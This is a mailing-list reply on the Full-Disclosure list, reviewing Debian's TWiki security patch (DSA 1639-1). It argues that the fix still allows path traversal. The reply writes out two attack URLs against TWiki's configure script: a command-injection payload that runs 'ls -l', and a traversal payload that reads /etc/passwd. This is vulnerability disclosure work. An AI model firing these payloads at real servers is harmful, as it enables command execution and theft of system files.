Re: [Full-disclosure] [SECURITY] [DSA 1639-1] New twiki packages execution of arbitrary code



Steve,

I just had a look at your patch and it seems to me that you just filter out
the remote command execution and not the file disclosure in Twiki.
http://security.debian.org/pool/updates/main/t/twiki/twiki_4.0.5-9.1etch1.diff.gz

The configure file is patched with this
if ( $image =~ /^([-.\w]+)$/ ) {
$image = $1;
}
You are basically allowing the ../../../ which can be used for
../../../etc/passwd

In terms of example, what you have done is filter out
/bin/configure?action=image;image=|ls%20-l|;type=text/plain
and not
/bin/configure?action=image;image=|../../../../../../etc/passwd|;type=text/plain


Regards,
webDEViL
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Relevant Pages

  • Re: XPe SP2 with Domain Participation losing after 30 days
    ... Debbie, ... I knew about the new Filter but I didn't know it was officially released. ... I didn't know the EWF Registry filter patch was officially released. ... I do know that EWF version in SP2 does not have the functionality of the Registry filter. ...
    (microsoft.public.windowsxp.embedded)
  • Re: [PATCH] allow root to modify raw scsi command permissions list
    ... > My patch leaves the defaults as what are currently in the kernel. ... Yes but what I wanted to say the filter currently in the kernel is not ... purpose of giving read/write permissions in this case. ... The starting point must be safe and it can be relaxed. ...
    (Linux-Kernel)
  • Re: floating check boxes on web pages
    ... Might re-read my post, the patch IS sp1. ... for Publisher help: ... The form control check boxes looked fine ... > the whole filter web ...
    (microsoft.public.publisher.webdesign)
  • Re: [PATCH] allow root to modify raw scsi command permissions list
    ... In the current scsi_ioctl filter it applies to everything. ... My patch leaves the defaults as what are currently in the kernel. ... commands should and shouldn't be allowed. ... > only root, allow filtered, allow all? ...
    (Linux-Kernel)
  • Re: Exchange 2003 SP2
    ... Da wir diese Filter sowieso nicht verwenden werde ich den ... >> Patch wohl nicht brauchen. ... Prev by Date: ... Next by Date: ...
    (microsoft.public.de.exchange)